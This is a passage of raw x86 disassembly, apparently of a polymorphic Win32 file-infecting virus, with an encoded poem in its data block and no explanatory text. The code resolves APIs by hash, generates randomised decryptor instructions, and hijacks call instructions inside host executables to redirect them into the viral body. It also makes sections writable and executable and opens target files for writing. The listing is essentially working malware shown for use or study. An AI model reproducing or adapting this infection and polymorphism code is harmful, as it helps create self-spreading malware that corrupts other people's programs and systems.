dd 5000401Dh, 360895FFh, 0C0850040h, 13B840Fh, 408B0000h
dd 0FF008B0Ch, 69858F30h, 0C600401Dh, 40384D85h, 6A0100h
dd 26A016Ah, 361495FFh, 0F8830040h, 12840FFFh, 93000001h
dd 1D65958Dh, 106A0040h, 95FF5352h, 403604h, 850FC085h
dd 0F2h, 1D86BD8Dh, 8B10040h, 0FFFABCE8h, 9468FFh, 2B5E0000h
dd 243489E6h, 9895FF54h, 8D004035h, 401D94BDh, 0E801B100h
dd 0FFFFFA9Dh, 1024448Bh, 0B08E0C1h, 0C1042444h, 440B08E0h
dd 0E8500824h, 5, 78362E25h, 95FF5700h, 403554h, 0C60CC483h
dd 8D200647h, 401D8195h, 68006A00h, 21h, 95FF5352h, 403610h
dd 14247C8Dh, 5895FF57h, 0C6004035h, 400A3804h, 5750006Ah
dd 1095FF53h, 3004036h, 0A2BD8DE6h, 6A00401Dh, 0C6800h
dd 53570000h, 361095FFh, 0C3D0040h, 75000000h, 4EB58D4Dh
dd 8D004036h, 40384D8Dh, 6ACE2B00h, 53565100h, 360C95FFh
dd 0F8830040h, 912F7E00h, 0B58DFE8Bh, 40364Eh, 0AEF20DB0h
dd 0E8601075h, 0FFFFFAF8h, 0E3177261h, 1778D09h, 0CF8BEAEBh
dd 0BD8DCE2Bh, 40364Eh, 0F787A4F3h, 0FF53B9EBh, 40360095h
dd 77BD8000h, 1004015h, 30682A74h, 0FF000075h, 4035BC95h
dd 4DBD8000h, 4038h, 85C71174h, 401D69h, 0
dd 384D85C6h, 0E9000040h, 0FFFFFE56h, 158085C7h, 40h, 0C25D8000h
dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h
dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h
dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h
dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h
dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h
dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h
dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h
dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h
dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h
dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h
dd 49202165h, 20732774h, 6574616Ch, 0C90A0D21h, 2953AF69h
dd 410A614h, 0ED30C784h, 574FD479h, 0B43AAB59h, 48050B7Ah
dd 5C403752h, 47C26CCCh, 0E56299ADh, 1327B1FAh, 6A10A614h
dd 0A8606EF9h, 7EA70356h, 521A73C1h, 0D8B8B3h, 0Fh dup(0)
dd 0DC000000h
; ---------------------------------------------------------------------------
adc [ebp+7Ah], edx
; =============== S U B R O U T I N E =======================================
sub_40057EDF proc near ; CODE XREF: sub_40057F26:loc_40057F83p
; sub_40057FE6+7p ...
arg_0 = dword ptr 4
pusha
and dword ptr [ebp+4039A6h], 0
and dword ptr [ebp+4039AAh], 0
movzx eax, word ptr [ebx+14h]
lea edx, [ebx+18h]
movzx ecx, word ptr [ebx+6]
add edx, eax
loc_40057EFB: ; CODE XREF: sub_40057EDF+41j
mov eax, [esp+20h+arg_0]
sub eax, [edx+0Ch]
jb short loc_40057F1D
cmp eax, [edx+8]
jnb short loc_40057F1D
mov eax, [edx+14h]
sub eax, [edx+0Ch]
mov [ebp+4039A6h], edx
mov [ebp+4039AAh], eax
jmp short loc_40057F22
; ---------------------------------------------------------------------------
loc_40057F1D: ; CODE XREF: sub_40057EDF+23j
; sub_40057EDF+28j
add edx, 28h
loop loc_40057EFB
loc_40057F22: ; CODE XREF: sub_40057EDF+3Cj
popa
retn 4
sub_40057EDF endp
; =============== S U B R O U T I N E =======================================
sub_40057F26 proc near ; CODE XREF: .rsrc:40058252p
; .rsrc:40058278p
mov [ebp+4022F7h], al
call sub_40057F95
push 20h
lea eax, [ebp+402224h]
pop ecx
loc_40057F3D: ; CODE XREF: sub_40057F26+1Ej
cmp [eax], ebx
jz short loc_40057F4D
add eax, 4
loop loc_40057F3D
inc dword ptr [ebp+40398Eh]
retn
; ---------------------------------------------------------------------------
loc_40057F4D: ; CODE XREF: sub_40057F26+19j
neg ecx
add ecx, [ebp+4022F7h]
jecxz short loc_40057F67
loc_40057F57: ; CODE XREF: sub_40057F26+39j
push dword ptr [eax-4]
pop dword ptr [eax]
sub eax, 4
loop loc_40057F57
mov [ebp+402224h], ebx
loc_40057F67: ; CODE XREF: sub_40057F26+2Fj
; sub_40057F95+34j
cmp dword ptr [edx], 0
jz short loc_40057F71
sub esi, [edx]
add esi, [edx+10h]
loc_40057F71: ; CODE XREF: sub_40057F26+44j
lea ecx, [esi-4]
pop eax
pop ebx
pop esi
cmp dword ptr [edx], 0
jz short loc_40057F80
push dword ptr [edx]
jmp short loc_40057F83
; ---------------------------------------------------------------------------
loc_40057F80: ; CODE XREF: sub_40057F26+54j
push dword ptr [edx+10h]
loc_40057F83: ; CODE XREF: sub_40057F26+58j
call sub_40057EDF
sub ecx, esi
sub ecx, [ebp+4039AAh]
pop eax
add ecx, [ebx+34h]
retn
sub_40057F26 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40057F95 proc near ; CODE XREF: sub_40057F26+6p
pop dword ptr [ebp+403992h]
mov dword ptr [ebp+40398Eh], 0
call sub_40057FE6
mov eax, [ebp+40398Eh]
call sub_4005772A
call sub_40057FD2
cmp dword ptr [ebp+40398Eh], 0
jnz short loc_40057FCB
mov [ebp+4022A0h], ebx
jmp short loc_40057F67
; ---------------------------------------------------------------------------
loc_40057FCB: ; CODE XREF: sub_40057F95+2Cj
dec dword ptr [ebp+40398Eh]
retn
sub_40057F95 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40057FD2 proc near ; CODE XREF: sub_40057F95+20p
pop dword ptr [ebp+403992h]
mov [ebp+40398Eh], edx
call sub_40057FE6
xor ecx, ecx
retn
sub_40057FD2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40057FE6 proc near ; CODE XREF: sub_40057F95+10p
; sub_40057FD2+Cp ...
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov edx, [ebx+80h]
push edx
call sub_40057EDF
add edx, [ebp+4039AAh]
add edx, esi
loc_40057FFA: ; CODE XREF: sub_40057FE6+120j
cmp dword ptr [edx+0Ch], 0
jz locret_4005810B
cmp dword ptr [edx+10h], 0
jz locret_4005810B
mov eax, [edx+0Ch]
push eax
call sub_40057EDF
add eax, [ebp+4039AAh]
add eax, esi
push eax
loc_40058020: ; CODE XREF: sub_40057FE6+47j
mov cl, [eax]
cmp cl, 0
jz short loc_40058040
cmp cl, 2Eh
jz short loc_4005802F
loc_4005802C: ; CODE XREF: sub_40057FE6+58j
inc eax
jmp short loc_40058020
; ---------------------------------------------------------------------------
loc_4005802F: ; CODE XREF: sub_40057FE6+44j
mov ecx, [eax+1]
and ecx, 0DFDFDFDFh
cmp ecx, 4C4C44h
jnz short loc_4005802C
loc_40058040: ; CODE XREF: sub_40057FE6+3Fj
pop ecx
sub ecx, eax
cmp ecx, 0FFFFFFFAh
jg loc_40058103
cmp word ptr [eax-2], 3233h
jnz loc_40058103
push esi
cmp dword ptr [edx], 0
jnz short loc_40058063
mov ecx, [edx+10h]
jmp short loc_40058065
; ---------------------------------------------------------------------------
loc_40058063: ; CODE XREF: sub_40057FE6+76j
mov ecx, [edx]
loc_40058065: ; CODE XREF: sub_40057FE6+7Bj
add esi, ecx
push ecx
call sub_40057EDF
add esi, [ebp+4039AAh]
loc_40058073: ; CODE XREF: sub_40057FE6+90j
; sub_40057FE6+117j
lodsd
test eax, eax
js short loc_40058073
jz loc_40058102
push dword ptr [ebp+4039AAh]
push eax
call sub_40057EDF
add eax, [ebp+4039AAh]
pop dword ptr [ebp+4039AAh]
add eax, [esp+4+var_4]
push ebx
add eax, 2
xor ebx, ebx
loc_4005809F: ; CODE XREF: sub_40057FE6+CEj
movzx ecx, byte ptr [eax]
jecxz short loc_400580B6
or cl, 20h
push ebx
shl [esp+0Ch+var_C], 4
sub [esp+0Ch+var_C], ebx
sub [esp+0Ch+var_C], ecx
pop ebx
inc eax
jmp short loc_4005809F
; ---------------------------------------------------------------------------
loc_400580B6: ; CODE XREF: sub_40057FE6+BCj
cmp ebx, 0DDBBD70Fh
jz short loc_400580FC
cmp ebx, 0DB6E45A8h
jz short loc_400580FC
cmp ebx, 0FFA13B59h
jz short loc_400580FC
cmp ebx, 0ACB522D6h
jz short loc_400580FC
cmp ebx, 0F358E993h
jz short loc_400580FC
cmp ebx, 0F358E97Dh
jz short loc_400580FC
cmp ebx, 0E1253F46h
jz short loc_400580FC
cmp ebx, 0E1253F30h
jz short loc_400580FC
call dword ptr [ebp+403992h]
loc_400580FC: ; CODE XREF: sub_40057FE6+D6j
; sub_40057FE6+DEj ...
pop ebx
jmp loc_40058073
; ---------------------------------------------------------------------------
loc_40058102: ; CODE XREF: sub_40057FE6+92j
pop esi
loc_40058103: ; CODE XREF: sub_40057FE6+60j
; sub_40057FE6+6Cj
add edx, 14h
jmp loc_40057FFA
; ---------------------------------------------------------------------------
locret_4005810B: ; CODE XREF: sub_40057FE6+18j
; sub_40057FE6+22j
retn
sub_40057FE6 endp
; ---------------------------------------------------------------------------
db 0
; =============== S U B R O U T I N E =======================================
sub_4005810D proc near ; CODE XREF: .rsrc:4005824Bp
; .rsrc:40058271p
push 4
pop eax
call sub_4005772A
mov [ebp+4024D1h], dl
mov ax, 1831h
add ah, dl
shl ah, 3
add ah, dl
stosw
push 6
pop eax
call sub_4005772A
add edx, 8
xchg edx, ecx
loc_40058135: ; CODE XREF: sub_4005810D:loc_40058174j
push 5
pop eax
call sub_4005772A
cmp dl, 3
jnb short loc_4005814D
mov al, 50h
add al, [ebp+4024D1h]
stosb
jmp short loc_40058174
; ---------------------------------------------------------------------------
loc_4005814D: ; CODE XREF: sub_4005810D+33j
push 68h
pop eax
stosb
cmp dl, 3
jnz short loc_4005816E
mov al, 11h
call sub_4005772A
mov eax, 1
loc_40058162: ; CODE XREF: sub_4005810D+5Dj
test dl, dl
jz short loc_40058173
shl eax, 1
dec dl
jmp short loc_40058162
; ---------------------------------------------------------------------------
jmp short loc_40058173
; ---------------------------------------------------------------------------
loc_4005816E: ; CODE XREF: sub_4005810D+47j
mov eax, 80000000h
loc_40058173: ; CODE XREF: sub_4005810D+57j
; sub_4005810D+5Fj
stosd
loc_40058174: ; CODE XREF: sub_4005810D+3Ej
loop loc_40058135
retn
sub_4005810D endp
; ---------------------------------------------------------------------------
loc_40058177: ; CODE XREF: sub_40058BD1+112p
lea edi, [ebp+40343Ch]
test dword ptr [ebp+403431h], 80000000h
jz short loc_4005818C
mov al, 60h
stosb
loc_4005818C: ; CODE XREF: .rsrc:40058187j
test dword ptr [ebp+403431h], 1000003h
jz loc_40058292
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call near ptr 0FD8F2D50h
xchg eax, esi
cmp [eax+0], eax
mov al, 0E8h
stosb
stosd
test dword ptr [ebp+403431h], 1000000h
mov [ebp+40399Ah], edi
jz short loc_4005820A
test dword ptr [ebp+403431h], 2000000h
mov eax, 36FF6467h
jnz short loc_400581D5
mov eax, 2E8B6467h
loc_400581D5: ; CODE XREF: .rsrc:400581CEj
stosd
mov ax, 0
stosw
jz short loc_400581E1
mov al, 5Dh
stosb
loc_400581E1: ; CODE XREF: .rsrc:400581DCj
test dword ptr [ebp+403431h], 8000000h
mov eax, 86D8Dh
jnz short loc_40058208
test dword ptr [ebp+403431h], 4000000h
mov eax, 8C583h
jz short loc_40058208
mov eax, 0F8ED83h
loc_40058208: ; CODE XREF: .rsrc:400581F0j
; .rsrc:40058201j
stosd
dec edi
loc_4005820A: ; CODE XREF: .rsrc:400581BDj
test dword ptr [ebp+403431h], 3
jz short loc_4005821A
mov al, 0E9h
stosb
stosd
loc_4005821A: ; CODE XREF: .rsrc:40058214j
mov eax, [ebp+403996h]
mov ecx, edi
sub ecx, eax
mov [eax-4], ecx
test dword ptr [ebp+403431h], 3
jz short loc_40058292
mov eax, 36FF6467h
mov [ebp+40399Eh], edi
stosd
mov eax, 64670000h
stosd
mov eax, 2689h
stosd
call sub_4005810D
mov al, 20h
call sub_40057F26
jecxz short loc_40058292
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
mov edx, [ebp+403431h]
not edx
test edx, 3
jnz short loc_40058285
call sub_4005810D
mov al, 1Fh
call sub_40057F26
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
loc_40058285: ; CODE XREF: .rsrc:4005826Fj
mov ecx, edi
mov eax, [ebp+40399Eh]
sub ecx, eax
mov [eax-4], ecx
loc_40058292: ; CODE XREF: .rsrc:40058196j
; .rsrc:40058231j ...
test dword ptr [ebp+403431h], 4
jz short loc_400582B0
mov eax, 0C8FEC029h
stosd
mov eax, 474C008h
stosd
mov eax, 67EBF875h
stosd
loc_400582B0: ; CODE XREF: .rsrc:4005829Cj
test dword ptr [ebp+403431h], 8
jnz short loc_40058306
cmp byte ptr [ebp+40342Fh], 0
jz short loc_40058306
mov eax, 0C9291829h
or ah, [ebp+40342Bh]
shl ah, 3
or ah, [ebp+40342Bh]
stosd
mov al, 0B1h
stosb
mov al, [ebp+40342Fh]
stosb
mov al, 40h
or al, [ebp+40342Bh]
stosb
mov ax, 0FDE2h
test dword ptr [ebp+403431h], 10h
jz short loc_40058304
mov al, 49h
stosb
mov ax, 0FC75h
loc_40058304: ; CODE XREF: .rsrc:400582FBj
stosw
loc_40058306: ; CODE XREF: .rsrc:400582BAj
; .rsrc:400582C3j
mov al, 0E8h
stosb
xor eax, eax
stosd
mov [ebp+403982h], edi
test dword ptr [ebp+403431h], 20h
jnz short loc_40058327
mov al, 58h
or al, [ebp+403429h]
stosb
loc_40058327: ; CODE XREF: .rsrc:4005831Cj
mov ax, 0C081h
test dword ptr [ebp+403431h], 40h
jz short loc_4005833A
add ah, 28h
loc_4005833A: ; CODE XREF: .rsrc:40058335j
or ah, [ebp+403429h]
stosw
mov [ebp+403986h], edi
stosd
test dword ptr [ebp+403431h], 40000000h
jnz short loc_4005835E
mov al, 50h
add al, [ebp+403429h]
stosb
loc_4005835E: ; CODE XREF: .rsrc:40058353j
test dword ptr [ebp+403431h], 80h
jnz short loc_40058375
mov al, 0B8h
or al, [ebp+40342Ah]
stosb
jmp short loc_400583B2
; ---------------------------------------------------------------------------
loc_40058375: ; CODE XREF: .rsrc:40058368j
mov ax, 1831h
test dword ptr [ebp+403431h], 100h
jz short loc_40058387
mov al, 29h
loc_40058387: ; CODE XREF: .rsrc:40058383j
or ah, [ebp+40342Ah]
shl ah, 3
or ah, [ebp+40342Ah]
stosw
mov ax, 0F081h
test dword ptr [ebp+403431h], 200h
jnz short loc_400583AA
mov ah, 0C8h
loc_400583AA: ; CODE XREF: .rsrc:400583A6j
or ah, [ebp+40342Ah]
stosw
loc_400583B2: ; CODE XREF: .rsrc:40058373j
mov [ebp+4039A2h], edi
mov eax, 243Ch
stosd
test dword ptr [ebp+403431h], 8
jz short loc_40058436
test dword ptr [ebp+403431h], 400h
jnz short loc_400583E1
mov al, 0B8h
or al, [ebp+40342Bh]
stosb
jmp short loc_4005842E
; ---------------------------------------------------------------------------
loc_400583E1: ; CODE XREF: .rsrc:400583D4j
test dword ptr [ebp+403431h], 800h
jnz short loc_400583FE
mov ax, 0E083h
or ah, [ebp+40342Bh]
stosw
xor eax, eax
stosb
jmp short loc_40058413
; ---------------------------------------------------------------------------
loc_400583FE: ; CODE XREF: .rsrc:400583EBj
mov ax, 1829h
or ah, [ebp+40342Bh]
shl ah, 3
or ah, [ebp+40342Bh]
stosw
loc_40058413: ; CODE XREF: .rsrc:400583FCj
test dword ptr [ebp+403431h], 1000h
mov ax, 0C081h
jz short loc_40058426
add ah, 8
loc_40058426: ; CODE XREF: .rsrc:40058421j
or ah, [ebp+40342Bh]
stosw
loc_4005842E: ; CODE XREF: .rsrc:400583DFj
movzx eax, byte ptr [ebp+40342Fh]
stosd
loc_40058436: ; CODE XREF: .rsrc:400583C8j
test dword ptr [ebp+403431h], 40000000h
jz short loc_4005844B
mov al, 50h
add al, [ebp+403429h]
stosb
loc_4005844B: ; CODE XREF: .rsrc:40058440j
test dword ptr [ebp+403431h], 2000h
mov al, 86h
jnz short loc_4005845B
add al, 4
loc_4005845B: ; CODE XREF: .rsrc:40058457j
lea ecx, [edi-2]
mov ah, [ebp+403429h]
mov [ebp+40398Ah], ecx
stosw
cmp ah, 5
jnz short loc_40058478
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_40058478: ; CODE XREF: .rsrc:4005846Fj
test dword ptr [ebp+403431h], 4000h
mov ax, 3166h
jnz short loc_4005848A
mov ah, 29h
loc_4005848A: ; CODE XREF: .rsrc:40058486j
stosw
mov al, 18h
or al, [ebp+40342Bh]
shl al, 3
stosb
mov al, 88h
test dword ptr [ebp+403431h], 8000h
jnz short loc_400584A8
mov al, 86h
loc_400584A8: ; CODE XREF: .rsrc:400584A4j
mov ah, [ebp+403429h]
stosw
cmp ah, 5
jnz short loc_400584BC
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_400584BC: ; CODE XREF: .rsrc:400584B3j
test dword ptr [ebp+403431h], 10000h
jnz short loc_400584D3
mov al, 40h
or al, [ebp+403429h]
stosb
jmp short loc_400584E2
; ---------------------------------------------------------------------------
loc_400584D3: ; CODE XREF: .rsrc:400584C6j
mov ax, 0C083h
or ah, [ebp+403429h]
stosw
mov al, 1
stosb
loc_400584E2: ; CODE XREF: .rsrc:400584D1j
test dword ptr [ebp+403431h], 20000h
jnz short loc_4005851D
test dword ptr [ebp+403431h], 40000h
jnz short loc_40058514
mov al, 0C0h
or al, [ebp+40342Bh]
mov ah, [ebp+403430h]
shl eax, 10h
mov ax, 8166h
stosd
mov al, 0
jmp short loc_4005851C
; ---------------------------------------------------------------------------
loc_40058514: ; CODE XREF: .rsrc:400584F8j
mov al, 40h
or al, [ebp+40342Bh]
loc_4005851C: ; CODE XREF: .rsrc:40058512j
stosb
loc_4005851D: ; CODE XREF: .rsrc:400584ECj
test dword ptr [ebp+403431h], 80000h
jnz short loc_40058539
mov ax, 0E883h
or ah, [ebp+40342Ah]
stosw
mov al, 1
jmp short loc_40058541
; ---------------------------------------------------------------------------
loc_40058539: ; CODE XREF: .rsrc:40058527j
mov al, 48h
or al, [ebp+40342Ah]
loc_40058541: ; CODE XREF: .rsrc:40058537j
stosb
test dword ptr [ebp+403431h], 100000h
mov cl, 75h
jnz short loc_40058575
mov ax, 0F883h
or ah, [ebp+40342Ah]
stosw
xor eax, eax
stosb
sub [ebp+40398Ah], edi
test dword ptr [ebp+403431h], 200000h
jnz short loc_40058590
mov cl, 77h
jmp short loc_40058590
; ---------------------------------------------------------------------------
loc_40058575: ; CODE XREF: .rsrc:4005854Ej
mov ax, 1809h
or ah, [ebp+40342Ah]
shl ah, 3
or ah, [ebp+40342Ah]
stosw
sub [ebp+40398Ah], edi
loc_40058590: ; CODE XREF: .rsrc:4005856Fj
; .rsrc:40058573j
mov al, cl
mov ah, [ebp+40398Ah]
stosw
mov al, 58h
add al, [ebp+403429h]
stosb
test dword ptr [ebp+403431h], 1000003h
jz loc_4005863A
mov eax, 268B6467h
mov ecx, [ebp+403431h]
xor ecx, 2000000h
test ecx, 3000000h
jnz short loc_400585D1
mov eax, 2E876467h
loc_400585D1: ; CODE XREF: .rsrc:400585CAj
stosd
mov eax, 0
stosw
jnz short loc_400585E1
mov ax, 0E58Bh
stosw
loc_400585E1: ; CODE XREF: .rsrc:400585D9j
mov eax, 68F6764h
stosd
xor eax, eax
stosw
test dword ptr [ebp+403431h], 1000000h
jnz short loc_40058637
test dword ptr [ebp+403431h], 8000000h
jz short loc_40058629
mov ax, 6C8Dh
test dword ptr [ebp+403431h], 2000000h
setnz cl
or ah, cl
stosw
test cl, cl
jnz short loc_40058624
mov ax, 424h
stosw
jmp short loc_40058637
; ---------------------------------------------------------------------------
loc_40058624: ; CODE XREF: .rsrc:4005861Aj
mov al, 8
stosb
jmp short loc_40058637
; ---------------------------------------------------------------------------
loc_40058629: ; CODE XREF: .rsrc:40058601j
mov ax, 5D58h
add al, [ebp+40342Bh]
stosw
jmp short loc_4005863A
; ---------------------------------------------------------------------------
loc_40058637: ; CODE XREF: .rsrc:400585F5j
; .rsrc:40058622j ...
mov al, 0C9h
stosb
loc_4005863A: ; CODE XREF: .rsrc:400585ADj
; .rsrc:40058635j
test dword ptr [ebp+403431h], 80000000h
jz short loc_40058666
mov al, 7
sub al, [ebp+403429h]
shl eax, 1Ah
or eax, 240889h
add ah, [ebp+403429h]
shl ah, 3
add ah, 4
stosd
mov al, 61h
stosb
loc_40058666: ; CODE XREF: .rsrc:40058644j
mov ax, 0E0FFh
or ah, [ebp+403429h]
stosw
test dword ptr [ebp+403431h], 20h
jz short loc_400586D1
test dword ptr [ebp+403431h], 20000000h
jz short loc_40058697
loc_4005868A: ; CODE XREF: .rsrc:40058695j
test edi, 3
jz short loc_40058697
mov al, 90h
stosb
jmp short loc_4005868A
; ---------------------------------------------------------------------------
loc_40058697: ; CODE XREF: .rsrc:40058688j
; .rsrc:40058690j
mov eax, edi
mov ecx, [ebp+403982h]
sub eax, ecx
mov [ecx-4], eax
mov al, 58h
or al, [ebp+403429h]
stosb
test dword ptr [ebp+403431h], 400000h
jz short loc_400586C5
mov ax, 0C350h
or al, [ebp+403429h]
jmp short loc_400586CF
; ---------------------------------------------------------------------------
loc_400586C5: ; CODE XREF: .rsrc:400586B7j
mov ax, 0E0FFh
or ah, [ebp+403429h]
loc_400586CF: ; CODE XREF: .rsrc:400586C3j
stosw
loc_400586D1: ; CODE XREF: .rsrc:4005867Cj
test dword ptr [ebp+403431h], 1000003h
jz short loc_40058750
test dword ptr [ebp+403431h], 20000000h
jz short loc_400586F6
loc_400586E9: ; CODE XREF: .rsrc:400586F4j
test edi, 3
jz short loc_400586F6
mov al, 90h
stosb
jmp short loc_400586E9
; ---------------------------------------------------------------------------
loc_400586F6: ; CODE XREF: .rsrc:400586E7j
; .rsrc:400586EFj
mov ecx, edi
mov eax, [ebp+40399Ah]
sub ecx, eax
mov [eax-4], ecx
xor ecx, ecx
test dword ptr [ebp+403431h], 800000h
jnz short loc_4005871F
lea eax, [ebp+403429h]
loc_40058717: ; CODE XREF: .rsrc:4005871Dj
mov cl, [eax]
inc eax
cmp cl, 3
jnb short loc_40058717
loc_4005871F: ; CODE XREF: .rsrc:4005870Fj
lea eax, ds:102444h[ecx*8]
shl eax, 8
mov al, 8Bh
stosd
jecxz short loc_40058734
mov ax, 0C031h
stosw
loc_40058734: ; CODE XREF: .rsrc:4005872Cj
mov ax, 808Fh
push 0B8h
add ah, cl
stosw
pop eax
stosd
test ecx, ecx
jnz short loc_4005874D
mov ax, 0C031h
stosw
loc_4005874D: ; CODE XREF: .rsrc:40058745j
mov al, 0C3h
stosb
loc_40058750: ; CODE XREF: .rsrc:400586DBj
lea eax, [ebp+40343Ch]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_40058768
push edi
sub edi, eax
pop eax
jmp short loc_40058781
; ---------------------------------------------------------------------------
loc_40058768: ; CODE XREF: .rsrc:40058760j
mov edx, [ebx+28h]
sub edi, eax
sub edx, eax
mov ecx, [ebp+4039A2h]
add [ebp+403982h], edx
add [ecx], edi
mov eax, [esp+4]
loc_40058781: ; CODE XREF: .rsrc:40058766j
mov [ebp+40106Dh], edi
mov edi, [ebp+403986h]
sub eax, [ebp+403982h]
test dword ptr [ebp+403431h], 40h
jz short loc_400587A1
neg eax
loc_400587A1: ; CODE XREF: .rsrc:4005879Dj
stosd
retn 4
; =============== S U B R O U T I N E =======================================
sub_400587A5 proc near ; CODE XREF: sub_40058BD1+2A8p
push esi
push edi
cmp dword ptr [ebp+4039AEh], 0
jz loc_4005898D
call near ptr loc_400587C5+1
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_400587C5: ; CODE XREF: sub_400587A5+Fp
add bh, bh
sub_400587A5 endp ; sp-analysis failed
xchg eax, ebp
mov ds:85890040h, dh
mov esi, 53004039h
mov ebx, [eax+3Ch]
add ebx, eax
push dword ptr [ebx+28h]
mov eax, [ebx+34h]
call sub_40057EDF
mov edx, [ebp+4039A6h]
pop ebx
add eax, [edx+0Ch]
mov [ebp+4039C2h], eax
add eax, [edx+8]
mov [ebp+4039C6h], eax
mov esi, [ebx+28h]
push dword ptr [ebx+80h]
call sub_40057EDF
mov edi, [ebp+4039A6h]
push esi
call sub_40057EDF
mov edx, [ebp+4039A6h]
mov ecx, [edx+8]
add ecx, [edx+0Ch]
sub ecx, esi
sub ecx, 5
js loc_4005898D
jz loc_4005898D
add esi, [ebp+4039AAh]
add esi, [ebp+403972h]
; START OF FUNCTION CHUNK FOR sub_4005895E
loc_4005883F: ; CODE XREF: sub_4005895E+29j
lodsb
cmp al, 0E8h
jnz loc_400588EA
lea eax, [esi+4]
sub eax, [ebp+403972h]
add eax, [esi]
push eax
call sub_40057EDF
cmp dword ptr [ebp+4039A6h], 0
jnz short loc_4005886D
cmp eax, [edi+0Ch]
jnb loc_40058986
jmp short loc_40058879
; ---------------------------------------------------------------------------
loc_4005886D: ; CODE XREF: sub_4005895E-FEj
cmp [ebp+4039A6h], edx
jnz loc_40058986
loc_40058879: ; CODE XREF: sub_4005895E-F3j
add eax, [ebp+403972h]
cmp word ptr [eax], 25FFh
jnz loc_40058986
mov eax, [eax+2]
sub eax, [ebx+34h]
push eax
call sub_40057EDF
cmp [ebp+4039A6h], edi
jnz loc_40058986
add eax, [ebp+4039AAh]
add eax, [ebp+403972h]
mov eax, [eax]
sub eax, [edi+0Ch]
jb loc_40058986
cmp eax, [edi+8]
jnb loc_40058986
loc_400588C2: ; CODE XREF: sub_4005895E+22j
add eax, 2
add eax, [edi+14h]
add eax, [ebp+403972h]
push edx
push eax
push dword ptr [ebp+4039BEh]
call dword ptr [ebp+403548h]
pop edx
test eax, eax
jnz loc_4005899C
jmp loc_40058986
; ---------------------------------------------------------------------------
loc_400588EA: ; CODE XREF: sub_4005895E-11Cj
cmp al, 0FFh
jnz loc_40058986
cmp byte ptr [esi], 15h
jnz loc_40058986
mov eax, [esi+1]
sub eax, [ebx+34h]
push eax
call sub_40057EDF
cmp [ebp+4039A6h], edi
jnz short loc_40058986
add eax, [ebp+4039AAh]
add eax, [ebp+403972h]
mov [ebp+4039CAh], eax
mov eax, [eax]
cmp eax, [ebp+4039C2h]
jb short loc_40058933
cmp eax, [ebp+4039C6h]
jb short loc_4005899C
loc_40058933: ; CODE XREF: sub_4005895E-35j
cmp eax, 70000000h
jb short loc_40058971
call sub_4005895E
lea ecx, [esi-4]
mov eax, ecx
sub eax, [edx]
add eax, [edx+10h]
cmp eax, [ebp+4039CAh]
jnz short locret_4005895D
add esp, 10h
push dword ptr [ecx]
pop [esp-0Ch+arg_24]
popa
jmp short loc_40058978
; ---------------------------------------------------------------------------
locret_4005895D: ; CODE XREF: sub_4005895E-Fj
retn
; END OF FUNCTION CHUNK FOR sub_4005895E
; =============== S U B R O U T I N E =======================================
sub_4005895E proc near ; CODE XREF: sub_4005895E-24p
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 4005883F SIZE 0000011F BYTES
pop dword ptr [ebp+403992h]
pusha
mov esi, [ebp+403972h]
call sub_40057FE6
popa
loc_40058971: ; CODE XREF: sub_4005895E-26j
test eax, 80000000h
jnz short loc_40058986
loc_40058978: ; CODE XREF: sub_4005895E-3j
sub eax, [edi+0Ch]
jb short loc_40058986
cmp eax, [edi+8]
jb loc_400588C2
loc_40058986: ; CODE XREF: sub_4005895E-F9j
; sub_4005895E-EBj ...
dec ecx
jnz loc_4005883F
loc_4005898D: ; CODE XREF: sub_400587A5+9j
; .rsrc:40058827j ...
mov edi, [esp-4+arg_0]
and dword ptr [edi+2431h], 7FFFFFFFh
jmp short loc_400589D8
; ---------------------------------------------------------------------------
loc_4005899C: ; CODE XREF: sub_4005895E-7Fj
; sub_4005895E-2Dj
or dword ptr [edx+24h], 0E0000060h
dec esi
xor eax, eax
mov ecx, [esp+8+var_8]
xchg eax, [ebp+4039AEh]
lea edi, [ecx+2435h]
add eax, [ebp+403972h]
movsw
movsd
dec esi
sub eax, esi
add eax, [edx+14h]
sub eax, [edx+0Ch]
mov byte ptr [esi-5], 0E8h
mov dword ptr [ecx+52h], 5
mov [esi-4], eax
loc_400589D8: ; CODE XREF: sub_4005895E+3Cj
pop edi
pop esi
retn
sub_4005895E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_400589DB proc near ; CODE XREF: .rsrc:40058BA9p
; sub_40058BD1+127p
lea esi, [ebp+40384Eh]
push esi
call dword ptr [ebp+40357Ch]
cmp eax, 0FFFFFFFFh
jz locret_40058AAC
mov [ebp+403952h], eax
push 0
push esi
call dword ptr [ebp+4035B4h]
test eax, eax
jz locret_40058AAC
sub eax, eax
push eax
push eax
push 3
push eax
push 1
push 0C0000000h
push esi
call dword ptr [ebp+40355Ch]
cmp eax, 0FFFFFFFFh
jz loc_40058F64
mov [ebp+403956h], eax
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push eax
call dword ptr [ebp+403584h]
cmp eax, 0FFFFFFFFh
jz loc_40058F58
push 0
push dword ptr [ebp+403956h]
call dword ptr [ebp+403580h]
cmp eax, 0FFFFFFFFh
